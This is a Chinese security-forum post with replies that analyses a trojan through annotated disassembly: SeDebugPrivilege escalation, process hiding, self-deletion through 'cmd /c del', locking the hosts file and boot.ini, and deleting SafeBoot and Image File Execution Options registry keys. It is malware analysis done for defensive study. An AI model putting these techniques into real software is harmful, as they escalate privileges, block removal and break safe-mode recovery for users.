首页
社区
课程
招聘
[原创]也玩木马分析——从小偷家里偷东西o_0
发表于: 2009-2-6 08:11 38948

[原创]也玩木马分析——从小偷家里偷东西o_0

2009-2-6 08:11
38948

Hello,everyone!
   近日老大给我布置了一篇家庭作业,我自然是不敢有半分懈怠,还正赶上老弟对一些木马常用的猥琐伎俩小有兴趣,我也想积累一些Win32汇编编程的经验,于是就抓了这个“小家伙”来玩玩了,从木马中学习编程和杀毒技术,也算是在小偷家里偷东西了吧*_0
   小马一匹,什么功能并不是我们要关心的话题,我们主要来看看感兴趣的相关功能的实现代码,也好学习一下,积累编程经验嘛。分析起来很耗时,我们慢慢看吧,分析一些我就再补充一些 *^◎^*

提权:

seg001:00406394 AdjustPrivilege proc near
seg001:00406394
seg001:00406394                 push    ebx
seg001:00406395                 add     esp, 0FFFFFFD0h
seg001:00406398                 lea     eax, [esp+30h+TokenHandle]
seg001:0040639C                 push    eax             ; TokenHandle
seg001:0040639D                 push    20h             ; DesiredAccess
seg001:0040639F                 call    GetCurrentProcess
seg001:0040639F
seg001:004063A4                 push    eax             ; ProcessHandle
seg001:004063A5                 call    OpenProcessToken
seg001:004063A5
seg001:004063AA                 lea     eax, [esp+30h+Luid]
seg001:004063AE                 push    eax             ; lpLuid
seg001:004063AF                 push    offset Name     ; "SeDebugPrivilege"
seg001:004063B4                 push    0               ; lpSystemName
seg001:004063B6                 call    LookupPrivilegeValueA
seg001:004063B6
seg001:004063BB                 mov     eax, [esp+30h+Luid.LowPart]
seg001:004063BF                 mov     [esp+30h+NewState.Privileges.Luid.LowPart], eax
seg001:004063C3                 mov     eax, [esp+30h+Luid.HighPart]
seg001:004063C7                 mov     [esp+30h+NewState.Privileges.Luid.HighPart], eax
seg001:004063CB                 mov     [esp+30h+NewState.PrivilegeCount], 1
seg001:004063D3                 xor     ebx, ebx
seg001:004063D5                 mov     [esp+30h+NewState.Privileges.Attributes], ebx
seg001:004063D9                 push    esp             ; ReturnLength
seg001:004063DA                 lea     eax, [esp+34h+PreviousState]
seg001:004063DE                 push    eax             ; PreviousState
seg001:004063DF                 push    10h             ; BufferLength
seg001:004063E1                 lea     eax, [esp+3Ch+NewState]
seg001:004063E5                 push    eax             ; NewState
seg001:004063E6                 push    0               ; DisableAllPrivileges
seg001:004063E8                 mov     eax, [esp+44h+TokenHandle]
seg001:004063EC                 push    eax             ; TokenHandle
seg001:004063ED                 call    AdjustTokenPrivileges
seg001:004063ED
seg001:004063F2                 mov     eax, [esp+30h+Luid.LowPart]
seg001:004063F6                 mov     [esp+30h+PreviousState.Privileges.Luid.LowPart], eax
seg001:004063FA                 mov     eax, [esp+30h+Luid.HighPart]
seg001:004063FE                 mov     [esp+30h+PreviousState.Privileges.Luid.HighPart], eax
seg001:00406402                 mov     [esp+30h+PreviousState.PrivilegeCount], 1
seg001:0040640A                 or      ebx, 2
seg001:0040640D                 mov     [esp+30h+PreviousState.Privileges.Attributes], ebx
seg001:00406411                 push    esp             ; ReturnLength
seg001:00406412                 push    0               ; PreviousState
seg001:00406414                 mov     eax, [esp+38h+BufferLength]
seg001:00406418                 push    eax             ; BufferLength
seg001:00406419                 lea     eax, [esp+3Ch+PreviousState]
seg001:0040641D                 push    eax             ; NewState
seg001:0040641E                 push    0               ; DisableAllPrivileges
seg001:00406420                 mov     eax, [esp+44h+TokenHandle]
seg001:00406424                 push    eax             ; TokenHandle
seg001:00406425                 call    AdjustTokenPrivileges
seg001:00406425
seg001:0040642A                 add     esp, 30h
seg001:0040642D                 pop     ebx
seg001:0040642E                 retn
seg001:0040642E
seg001:0040642E AdjustPrivilege endp
seg001:00406598 RegisterService proc near    
seg001:00406598
seg001:00406598                 add     esp, 0FFFFFF6Ch
seg001:0040659E                 mov     [esp+94h+var_94], 94h
seg001:004065A5                 push    esp             ; lpVersionInformation
seg001:004065A6                 call    GetVersionExA
seg001:004065A6
seg001:004065AB                 cmp     eax, 1
seg001:004065AE                 sbb     eax, eax
seg001:004065B0                 inc     eax
seg001:004065B1                 cmp     al, 1
seg001:004065B3                 jnz     short loc_4065FE
seg001:004065B3
seg001:004065B5                 cmp     [esp+94h+var_84], 2
seg001:004065BA                 jz      short loc_4065FE
seg001:004065BA
seg001:004065BC                 push    offset s_Kernel32_dll ; "kernel32.dll"
seg001:004065C1                 call    LoadLibraryA
seg001:004065C1
seg001:004065C6                 mov     hModule, eax
seg001:004065CB                 cmp     hModule, 0
seg001:004065D2                 jz      short loc_4065FE
seg001:004065D2
seg001:004065D4                 push    offset s_Registerservi ; "RegisterServiceProcess"
seg001:004065D9                 mov     eax, hModule
seg001:004065DE                 push    eax             ; hModule
seg001:004065DF                 call    GetProcAddress
seg001:004065DF
seg001:004065E4                 mov     addr_RegisterServiceProcess, eax
seg001:004065E9                 push    1
seg001:004065EB                 push    0
seg001:004065ED                 call    addr_RegisterServiceProcess
seg001:004065F3                 mov     eax, hModule
seg001:004065F8                 push    eax             ; hLibModule
seg001:004065F9                 call    FreeLibrary_0   ; "kernel32.dll"
seg001:004065F9
seg001:004065FE loc_4065FE: 
seg001:004065FE                 add     esp, 94h
seg001:00406604                 retn
seg001:00406604
seg001:00406604 RegisterService endp
seg001:00406A70 del_self        proc near
seg001:00406A70
seg001:00406A70                 push    ebp
seg001:00406A71                 mov     ebp, esp
seg001:00406A73                 add     esp, 0FFFFFEECh
seg001:00406A79                 xor     eax, eax
seg001:00406A7B                 mov     [ebp+var_10C], eax
seg001:00406A81                 mov     [ebp+var_110], eax
seg001:00406A87                 mov     [ebp+var_114], eax
seg001:00406A8D                 xor     eax, eax
seg001:00406A8F                 push    ebp
seg001:00406A90                 push    offset sub_406B2B
seg001:00406A95                 push    dword ptr fs:[eax]
seg001:00406A98                 mov     fs:[eax], esp
seg001:00406A9B                 push    104h            ; nSize
seg001:00406AA0                 lea     eax, [ebp+Buffer]
seg001:00406AA6                 push    eax             ; lpBuffer
seg001:00406AA7                 push    offset s_Comspec ; "Comspec"
seg001:00406AAC                 call    GetEnvironmentVariableA ; 获取环境变量,查找cmd.exe文件路径
seg001:00406AAC
seg001:00406AB1                 push    0
seg001:00406AB3                 lea     eax, [ebp+var_110]
seg001:00406AB9                 lea     edx, [ebp+Buffer]
seg001:00406ABF                 mov     ecx, 105h
seg001:00406AC4                 call    sub_403D34
seg001:00406AC4
seg001:00406AC9                 push    [ebp+var_110]
seg001:00406ACF                 push    offset s_CDel   ; " /c del \""
seg001:00406AD4                 lea     edx, [ebp+var_114]
seg001:00406ADA                 xor     eax, eax
seg001:00406ADC                 call    sub_402708      ; GetModuleFileNameA获取木马文件路径
seg001:00406ADC
seg001:00406AE1                 push    [ebp+var_114]
seg001:00406AE7                 push    offset dword_406B5C ; uCmdShow
seg001:00406AEC                 lea     eax, [ebp+var_10C]
seg001:00406AF2                 mov     edx, 4
seg001:00406AF7                 call    sub_403E0C
seg001:00406AF7
seg001:00406AFC                 mov     eax, [ebp+var_10C]
seg001:00406B02                 call    sub_403F4C
seg001:00406B02
seg001:00406B07                 push    eax             ; lpCmdLine
seg001:00406B08                 call    WinExec         ; 即 “cmd.exe /c del 木马本身路径”
seg001:00406B08
seg001:00406B0D                 xor     eax, eax
seg001:00406B0F                 pop     edx
seg001:00406B10                 pop     ecx
seg001:00406B11                 pop     ecx
seg001:00406B12                 mov     fs:[eax], edx
seg001:00406B15                 push    offset loc_406B32
seg001:00406B15
seg001:00406B1A loc_406B1A:                     
seg001:00406B1A                 lea     eax, [ebp+var_114]
seg001:00406B20                 mov     edx, 3
seg001:00406B25                 call    sub_403BEC
seg001:00406B25
seg001:00406B2A                 retn
seg001:00409138                 mov     edx, offset s_DriversEtcHos ; "drivers\\etc\\hosts"
seg001:0040913D                 call    sub_403D54
seg001:0040913D
seg001:00409142                 mov     eax, [ebp-0ACh]
seg001:00409148                 call    FindFile_AdjustFileTime  ; 查找文件,若找到就修正文件时间(FindFirstFile/FileTimeToLocalFileTime/FileTimeToDosDateTime)
seg001:00409148
seg001:0040914D                 cmp     al, 1
seg001:0040914F                 jnz     short loc_409194
seg001:0040914F
seg001:00409151                 lea     eax, [ebp-0B4h]
seg001:00409157                 call    GetSystemDirectory
seg001:00409157
seg001:0040915C                 lea     eax, [ebp-0B4h]
seg001:00409162                 mov     edx, offset s_DriversEtcHos ; "drivers\\etc\\hosts"
seg001:00409167                 call    sub_403D54
seg001:00409167
seg001:0040916C                 mov     eax, [ebp-0B4h]
seg001:00409172                 call    sub_403F4C
seg001:00409172
seg001:00409177                 mov     edx, eax
seg001:00409179                 lea     eax, [ebp-0B0h]
seg001:0040917F                 call    sub_403CF8
seg001:0040917F
seg001:00409184                 mov     eax, [ebp-0B0h]
seg001:0040918A                 mov     edx, 10h
seg001:0040918F                 call    sub_4066AC      ; CreateFileA以独占方式打开文件,防修改
seg001:0040918F
seg001:00409194
seg001:00409194 loc_409194:                             ; CODE XREF: seg001:0040914Fj
seg001:00409194                 lea     eax, [ebp-0B8h]
seg001:0040919A                 call    sub_406DEC
seg001:0040919A
seg001:0040919F                 lea     eax, [ebp-0B8h]
seg001:004091A5                 mov     edx, offset s_Boot_ini ; "boot.ini"
seg001:004091AA                 call    sub_403D54
seg001:004091AA
seg001:004091AF                 mov     eax, [ebp-0B8h]
seg001:004091B5                 call    FindFile_AdjustFileTime  ; 查找文件,若找到就修正文件时间(FindFirstFile/FileTimeToLocalFileTime/FileTimeToDosDateTime)
seg001:004091B5
seg001:004091BA                 cmp     al, 1
seg001:004091BC                 jnz     short loc_409201
seg001:004091BC
seg001:004091BE                 lea     eax, [ebp-0C0h]
seg001:004091C4                 call    sub_406DEC
seg001:004091C4
seg001:004091C9                 lea     eax, [ebp-0C0h]
seg001:004091CF                 mov     edx, offset s_Boot_ini ; "boot.ini"
seg001:004091D4                 call    sub_403D54
seg001:004091D4
seg001:004091D9                 mov     eax, [ebp-0C0h]
seg001:004091DF                 call    sub_403F4C
seg001:004091DF
seg001:004091E4                 mov     edx, eax
seg001:004091E6                 lea     eax, [ebp-0BCh]
seg001:004091EC                 call    sub_403CF8
seg001:004091EC
seg001:004091F1                 mov     eax, [ebp-0BCh]
seg001:004091F7                 mov     edx, 10h
seg001:004091FC                 call    sub_4066AC      ; 独占方式打开文件,防修改
seg001:0040C6FF Del_Key:                      
seg001:0040C6FF                 mov     ecx, offset s_4d36e967-e325 ; "{4D36E967-E325-11CE-BFC1-08002BE10318}"
seg001:0040C704                 mov     edx, offset s_SystemCurre_5 ; "SYSTEM\\CurrentControlSet\\Control\\SafeBo"...
seg001:0040C709                 mov     eax, 80000002h
seg001:0040C70E                 call    near ptr s_L_LxRulBSvw3I+0Ah
seg001:0040C70E
seg001:0040C713                 cmp     al, 1
seg001:0040C715                 jnz     short loc_40C726
seg001:0040C715
seg001:0040C717                 mov     edx, offset s_SystemCurre_6 ; "SYSTEM\\CurrentControlSet\\Control\\SafeBo"...
seg001:0040C71C                 mov     eax, 80000002h
seg001:0040C721                 call    RegDeleteKey    ; 删除相关键值
seg001:0040C721
seg001:0040C726 Del_Key:                     
seg001:0040C726                 mov     ecx, offset s_4d36e967-e325 ; "{4D36E967-E325-11CE-BFC1-08002BE10318}"
seg001:0040C72B                 mov     edx, offset s_SystemCurre_7 ; "SYSTEM\\CurrentControlSet\\Control\\SafeBo"...
seg001:0040C730                 mov     eax, 80000002h
seg001:0040C735                 call    near ptr s_L_LxRulBSvw3I+0Ah
seg001:0040C735
seg001:0040C73A                 cmp     al, 1
seg001:0040C73C                 jnz     short loc_40C74D
seg001:0040C73C
seg001:0040C73E                 mov     edx, offset s_SystemCurre_8 ; "SYSTEM\\CurrentControlSet\\Control\\SafeBo"...
seg001:0040C743                 mov     eax, 80000002h
seg001:0040C748                 call    RegDeleteKey
seg001:0040C76C                 mov     edx, offset s_SoftwareMic_7 ; Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
seg001:0040C771                 mov     eax, 80000002h
seg001:0040C776                 call    near ptr s_L_LxRulBSvw3I+0Ah
seg001:0040C776
seg001:0040C77B                 cmp     al, 1
seg001:0040C77D                 jnz     short loc_40C7AA
seg001:0040C77D
seg001:0040C77F                 push    offset s_SoftwareMic_8 ; Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
seg001:0040C784                 mov     eax, off_41356C
seg001:0040C789                 push    dword ptr [eax]
seg001:0040C78B                 push    offset dword_40C884
seg001:0040C790                 lea     eax, [ebp+var_80]
seg001:0040C793                 mov     edx, 3
seg001:0040C798                 call    sub_403E0C
seg001:0040C798
seg001:0040C79D                 mov     edx, [ebp+var_80]
seg001:0040C7A0                 mov     eax, 80000002h
seg001:0040C7A5                 call    RegDeleteKey

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 7
支持
分享
最新回复 (88)
雪    币: 1151
活跃值: (4232)
能力值: ( LV5,RANK:69 )
在线值:
发帖
回帖
粉丝
2
看看   学习下   很牛  
2009-2-6 08:39
0
雪    币: 251
活跃值: (25)
能力值: ( LV9,RANK:290 )
在线值:
发帖
回帖
粉丝
3
徒弟都那么厉害了,很好奇老大的功力去到哪个境界?是否已打通任督二脉
2009-2-6 09:16
0
雪    币: 219
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
把木马传上来,我们大家都来玩玩。
2009-2-6 10:14
0
雪    币: 485
活跃值: (12)
能力值: ( LV9,RANK:490 )
在线值:
发帖
回帖
粉丝
5
太值得学习了。。。
2009-2-6 10:55
0
雪    币: 255
活跃值: (49)
能力值: ( LV9,RANK:180 )
在线值:
发帖
回帖
粉丝
6
感谢分享 感觉像病毒行径 ^_^
2009-2-6 12:14
0
雪    币: 590
活跃值: (177)
能力值: ( LV9,RANK:680 )
在线值:
发帖
回帖
粉丝
7
我说的老大是Fly

学习木马技术的目的是提高防御能力,有针对性的打造安全防御软件,绝非为了“比葫芦画瓢”,做一个人人唾弃的病毒传播者

真正的人人景仰,我想应该是技术和人品俱佳
2009-2-6 12:15
0
雪    币: 100
活跃值: (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
我是菜菜鸟,比菜鸟还菜,冒昧问一句弱智问题,以上代码是不是通过调试工具夹在一个木马,反汇编出来的代码啊?
2009-2-6 13:06
0
雪    币: 204
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
很强大,不知道老弟找到工作没有??
2009-2-6 13:12
0
雪    币: 301
活跃值: (300)
能力值: ( LV9,RANK:290 )
在线值:
发帖
回帖
粉丝
10
强人,好文收藏学习
2009-2-6 13:38
0
雪    币: 10
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
学习了,收藏后慢慢去看.
2009-2-6 13:42
0
雪    币: 212
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
十分精彩,收藏学习之
2009-2-6 16:27
0
雪    币: 232
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
13
太精彩了,分析病毒就是要这样。。。。。。
学习了不少病毒技术。。顶
2009-2-6 19:56
0
雪    币: 1564
活跃值: (3572)
能力值: ( LV13,RANK:420 )
在线值:
发帖
回帖
粉丝
14
我在这个病毒里面学到好多技术
2009-2-6 20:52
0
雪    币: 197
活跃值: (52)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
15
函数写的很整齐,也很常用
2009-2-6 22:31
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
能把样本传下么?
2009-2-6 22:38
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
辛苦了,顶一下
2009-2-6 23:13
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
目过!!!实在想看老大的技术咯.....
2009-2-7 01:18
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
学习学习,有点雾里看花的感觉
2009-2-7 13:54
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
08年7月份的老下载器咯~·
2009-2-7 21:47
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
不错的,支持一下劳动成果
2009-2-7 22:20
0
雪    币: 8107
活跃值: (1955)
能力值: ( LV8,RANK:122 )
在线值:
发帖
回帖
粉丝
23
学习了,不错
2009-2-8 10:25
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
强烈呼唤样本,让众小菜鸟也有练手的机会。
2009-2-8 13:53
0
雪    币: 590
活跃值: (177)
能力值: ( LV9,RANK:680 )
在线值:
发帖
回帖
粉丝
25
样本已经上传(测试版)
注意——有木马出入!!!

希望不会违规~~~
2009-2-8 15:22
0
游客
登录 | 注册 方可回帖
返回
//